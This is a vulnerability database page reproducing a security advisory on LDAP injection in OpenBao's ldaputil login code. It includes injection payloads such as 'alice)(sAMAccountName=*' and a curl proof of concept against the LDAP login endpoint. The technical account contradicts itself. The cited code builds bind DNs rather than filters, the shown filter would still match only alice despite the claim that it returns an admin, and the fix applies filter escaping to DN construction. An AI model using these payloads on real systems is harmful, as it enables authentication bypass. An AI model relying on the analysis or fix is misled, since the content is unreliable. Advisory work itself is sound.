GHSA-6MWX-4547-5VC9
Vulnerability from github – Published: 2026-06-19 21:42 – Updated: 2026-06-19 21:421. Description
Component
sdk/helper/ldaputil/client.go — the shared LDAP utility library used by both the LDAP authentication backend and OpenLDAP secrets engine to construct LDAP search filters and bind DNs.
Root Cause
The LDAP utility contains a function selection error that causes incorrect escaping of user-controlled input in LDAP filter construction. Two lines construct the bindDN using EscapeLDAPValue():
// Line 191 — UPN Domain path
bindDN = fmt.Sprintf("%s@%s", EscapeLDAPValue(username), cfg.UPNDomain)
// Line 193 — User DN path
bindDN = fmt.Sprintf("%s=%s,%s", cfg.UserAttr, EscapeLDAPValue(username), cfg.UserDN)
The problem: EscapeLDAPValue() implements RFC 4514 escaping, which is designed for Distinguished Name (DN) components. It only escapes characters meaningful in DNs: +, ,, ;, ", \, <, >, and leading/trailing spaces.
LDAP search filters (RFC 4515) have a different set of special characters: *, (, ), \, and NUL (\x00). None of these are escaped by EscapeLDAPValue(). The correct function is ldap.EscapeFilter() from the github.com/go-ldap/ldap/v3 package.
The irony: the same file uses ldap.EscapeFilter() correctly at lines 225-226 in RenderUserSearchFilter() for the UserFilter template path, but the GetUserDN() function at lines 191-193 uses the wrong escape function.
Exploitation Mechanics
Username: alice)(objectClass=*
↓ EscapeLDAPValue (no-op — no DN special chars)
alice)(objectClass=*
↓ fmt.Sprintf("(&(objectClass=user)(sAMAccountName=%s))", escapedUsername)
(&(objectClass=user)(sAMAccountName=alice)(objectClass=*))
^^ injection point
The filter (&(objectClass=user)(sAMAccountName=alice)(objectClass=*)) is logically equivalent to:
- sAMAccountName=alice AND objectClass=user AND objectClass=*
Since all entries match objectClass=*, the filter matches any user entry where sAMAccountName is alice, effectively ignoring the objectClass=user constraint. By crafting more sophisticated injections (e.g., alice)(|(sAMAccountName=admin), the attacker can match arbitrary different user entries.
Preconditions
- LDAP authentication backend must be configured
- Directory must be Active Directory (UPNDomain path) or use UserDN/UserAttr binding
- Attacker controls the
usernamefield at login time
2. Proof of Concept
# Login with LDAP injection payload as username
curl -k -X POST \
-H "Content-Type: application/json" \
-d '{
"username": "alice)(sAMAccountName=*",
"password": "anything"
}' \
https://localhost:8200/v1/auth/ldap/login/admin
# LDAP filter constructed:
# (&(objectClass=user)(sAMAccountName=alice)(sAMAccountName=*))
# injection ──────────^
# The filter matches the first user with objectClass=user
# If the LDAP server returns admin's entry first, the token
# is bound to the admin entity, inheriting all admin policies
The LDAP search returns whichever entry the server ranks highest among results. In Active Directory with default sorting, this is often the oldest or alphabetically first user — potentially an administrative account.
3. Impact
| Impact | Detail |
|---|---|
| Confidentiality | Token bound to a different LDAP user (e.g., admin) grants access to all secrets and policies belonging to that entity |
| Integrity | Ability to modify secrets, write policies, or configure backends as the impersonated user |
| Availability | Low direct impact, but administrative access enables disabling or misconfiguring the entire OpenBao instance |
Likelihood: HIGH — the escape function mismatch is a well-documented antipattern in OWASP LDAP Injection guidance. The attack is trivially exploitable with no special tooling beyond curl.
Why This Is High Severity
The LDAP auth backend is frequently used as a primary authentication method for enterprise OpenBao deployments. A successful LDAP injection against this backend can bypass the entire authentication chain, granting administrative access to the secrets store without needing to compromise an actual admin account.
4. Remediation
Primary Fix: Use ldap.EscapeFilter
Replace EscapeLDAPValue with ldap.EscapeFilter in both filter construction paths:
import "github.com/go-ldap/ldap/v3"
// Line 191 — UPN Domain path
bindDN = fmt.Sprintf("%s@%s", ldap.EscapeFilter(username), cfg.UPNDomain)
// Line 193 — User DN path
bindDN = fmt.Sprintf("%s=%s,%s", cfg.UserAttr, ldap.EscapeFilter(username), cfg.UserDN)
EscapeLDAPValue is still the correct choice for actual DN construction (where values are used as RDN components rather than filter values), but any value interpolated into an LDAP filter string must use ldap.EscapeFilter.
Audit: All Call Sites
Review all usages of EscapeLDAPValue across the codebase to ensure none are used in filter context:
grep -rn "EscapeLDAPValue" /root/cve-audit/openbao/
Defense-in-Depth
- Apply the principle of least privilege to LDAP service accounts used by OpenBao
- Use
UserFilterwith explicit attribute constraints to limit the search scope
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/openbao/openbao"
},
"ranges": [
{
"events": [
{
"introduced": "0.1.0"
},
{
"last_affected": "2.5.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/openbao/openbao"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "0.0.0-20260617104213-10b7825c714c"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55770"
],
"database_specific": {
"cwe_ids": [
"CWE-90"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T21:42:01Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## 1. Description\n\n### Component\n\n`sdk/helper/ldaputil/client.go` \u2014 the shared LDAP utility library used by both the LDAP authentication backend and OpenLDAP secrets engine to construct LDAP search filters and bind DNs.\n\n### Root Cause\n\nThe LDAP utility contains a **function selection error** that causes incorrect escaping of user-controlled input in LDAP filter construction. Two lines construct the `bindDN` using `EscapeLDAPValue()`:\n\n```go\n// Line 191 \u2014 UPN Domain path\nbindDN = fmt.Sprintf(\"%s@%s\", EscapeLDAPValue(username), cfg.UPNDomain)\n\n// Line 193 \u2014 User DN path\nbindDN = fmt.Sprintf(\"%s=%s,%s\", cfg.UserAttr, EscapeLDAPValue(username), cfg.UserDN)\n```\n\nThe problem: `EscapeLDAPValue()` implements **RFC 4514** escaping, which is designed for Distinguished Name (DN) components. It only escapes characters meaningful in DNs: `+`, `,`, `;`, `\"`, `\\`, `\u003c`, `\u003e`, and leading/trailing spaces.\n\nLDAP **search filters** (RFC 4515) have a different set of special characters: `*`, `(`, `)`, `\\`, and NUL (`\\x00`). None of these are escaped by `EscapeLDAPValue()`. The correct function is `ldap.EscapeFilter()` from the `github.com/go-ldap/ldap/v3` package.\n\nThe irony: the same file uses `ldap.EscapeFilter()` correctly at lines 225-226 in `RenderUserSearchFilter()` for the `UserFilter` template path, but the `GetUserDN()` function at lines 191-193 uses the wrong escape function.\n\n### Exploitation Mechanics\n\n```\nUsername: alice)(objectClass=*\n\u2193 EscapeLDAPValue (no-op \u2014 no DN special chars)\nalice)(objectClass=*\n\u2193 fmt.Sprintf(\"(\u0026(objectClass=user)(sAMAccountName=%s))\", escapedUsername)\n(\u0026(objectClass=user)(sAMAccountName=alice)(objectClass=*))\n ^^ injection point\n```\n\nThe filter `(\u0026(objectClass=user)(sAMAccountName=alice)(objectClass=*))` is logically equivalent to:\n- `sAMAccountName=alice` AND `objectClass=user` AND `objectClass=*`\n\nSince all entries match `objectClass=*`, the filter matches **any user entry** where `sAMAccountName` is `alice`, effectively ignoring the `objectClass=user` constraint. By crafting more sophisticated injections (e.g., `alice)(|(sAMAccountName=admin`), the attacker can match arbitrary different user entries.\n\n### Preconditions\n\n- LDAP authentication backend must be configured\n- Directory must be Active Directory (UPNDomain path) or use UserDN/UserAttr binding\n- Attacker controls the `username` field at login time\n\n## 2. Proof of Concept\n\n```bash\n# Login with LDAP injection payload as username\ncurl -k -X POST \\\n -H \"Content-Type: application/json\" \\\n -d \u0027{\n \"username\": \"alice)(sAMAccountName=*\",\n \"password\": \"anything\"\n }\u0027 \\\n https://localhost:8200/v1/auth/ldap/login/admin\n\n# LDAP filter constructed:\n# (\u0026(objectClass=user)(sAMAccountName=alice)(sAMAccountName=*))\n# injection \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500^\n# The filter matches the first user with objectClass=user\n# If the LDAP server returns admin\u0027s entry first, the token\n# is bound to the admin entity, inheriting all admin policies\n```\n\nThe LDAP search returns whichever entry the server ranks highest among results. In Active Directory with default sorting, this is often the oldest or alphabetically first user \u2014 potentially an administrative account.\n\n## 3. Impact\n\n| Impact | Detail |\n|--------|--------|\n| **Confidentiality** | Token bound to a different LDAP user (e.g., admin) grants access to all secrets and policies belonging to that entity |\n| **Integrity** | Ability to modify secrets, write policies, or configure backends as the impersonated user |\n| **Availability** | Low direct impact, but administrative access enables disabling or misconfiguring the entire OpenBao instance |\n\n**Likelihood: HIGH** \u2014 the escape function mismatch is a well-documented antipattern in OWASP LDAP Injection guidance. The attack is trivially exploitable with no special tooling beyond `curl`.\n\n### Why This Is High Severity\n\nThe LDAP auth backend is frequently used as a **primary authentication method** for enterprise OpenBao deployments. A successful LDAP injection against this backend can bypass the entire authentication chain, granting administrative access to the secrets store without needing to compromise an actual admin account.\n\n## 4. Remediation\n\n### Primary Fix: Use ldap.EscapeFilter\n\nReplace `EscapeLDAPValue` with `ldap.EscapeFilter` in both filter construction paths:\n\n```go\nimport \"github.com/go-ldap/ldap/v3\"\n\n// Line 191 \u2014 UPN Domain path\nbindDN = fmt.Sprintf(\"%s@%s\", ldap.EscapeFilter(username), cfg.UPNDomain)\n\n// Line 193 \u2014 User DN path\nbindDN = fmt.Sprintf(\"%s=%s,%s\", cfg.UserAttr, ldap.EscapeFilter(username), cfg.UserDN)\n```\n\n`EscapeLDAPValue` is still the correct choice for actual DN construction (where values are used as RDN components rather than filter values), but any value interpolated into an LDAP filter string must use `ldap.EscapeFilter`.\n\n### Audit: All Call Sites\n\nReview all usages of `EscapeLDAPValue` across the codebase to ensure none are used in filter context:\n\n```bash\ngrep -rn \"EscapeLDAPValue\" /root/cve-audit/openbao/\n```\n\n### Defense-in-Depth\n\n- Apply the principle of least privilege to LDAP service accounts used by OpenBao\n- Use `UserFilter` with explicit attribute constraints to limit the search scope",
"id": "GHSA-6mwx-4547-5vc9",
"modified": "2026-06-19T21:42:01Z",
"published": "2026-06-19T21:42:01Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openbao/openbao/security/advisories/GHSA-6mwx-4547-5vc9"
},
{
"type": "WEB",
"url": "https://github.com/openbao/openbao/pull/3306"
},
{
"type": "WEB",
"url": "https://github.com/openbao/openbao/commit/10b7825c714c1ef25b6c3c1c2cd6ecd8747c0659"
},
{
"type": "PACKAGE",
"url": "https://github.com/openbao/openbao"
},
{
"type": "WEB",
"url": "https://github.com/openbao/openbao/releases/tag/v2.5.5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "OpenBao: LDAPi ldaputil (wrong escape func)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.